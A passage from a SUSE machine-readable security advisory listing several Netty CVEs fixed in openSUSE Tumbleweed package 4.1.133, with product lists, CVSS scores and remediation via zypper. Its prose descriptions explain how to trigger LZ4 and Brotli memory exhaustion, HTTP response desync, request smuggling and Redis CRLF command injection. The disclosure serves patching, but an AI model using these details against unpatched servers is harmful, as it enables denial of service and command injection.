"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42582",
"url": "https://www.suse.com/security/cve/CVE-2026-42582"
},
{
"category": "external",
"summary": "SUSE Bug 1265318 for CVE-2026-42582",
"url": "https://bugzilla.suse.com/1265318"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42582"
},
{
"cve": "CVE-2026-42583",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42583"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42583",
"url": "https://www.suse.com/security/cve/CVE-2026-42583"
},
{
"category": "external",
"summary": "SUSE Bug 1265279 for CVE-2026-42583",
"url": "https://bugzilla.suse.com/1265279"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42583"
},
{
"cve": "CVE-2026-42584",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42584"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message\u0027s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42584",
"url": "https://www.suse.com/security/cve/CVE-2026-42584"
},
{
"category": "external",
"summary": "SUSE Bug 1265280 for CVE-2026-42584",
"url": "https://bugzilla.suse.com/1265280"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.6,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-42584"
},
{
"cve": "CVE-2026-42585",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42585"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42585",
"url": "https://www.suse.com/security/cve/CVE-2026-42585"
},
{
"category": "external",
"summary": "SUSE Bug 1265291 for CVE-2026-42585",
"url": "https://bugzilla.suse.com/1265291"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-42585"
},
{
"cve": "CVE-2026-42586",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42586"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42586",
"url": "https://www.suse.com/security/cve/CVE-2026-42586"
},
{
"category": "external",
"summary": "SUSE Bug 1265245 for CVE-2026-42586",
"url": "https://bugzilla.suse.com/1265245"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42586"
},
{
"cve": "CVE-2026-42587",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-42587"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-42587",
"url": "https://www.suse.com/security/cve/CVE-2026-42587"
},
{
"category": "external",
"summary": "SUSE Bug 1265246 for CVE-2026-42587",
"url": "https://bugzilla.suse.com/1265246"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-42587"
},
{
"cve": "CVE-2026-44248",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44248"
}
],
"notes": [
{
"category": "general",
"text": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader \u003e maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
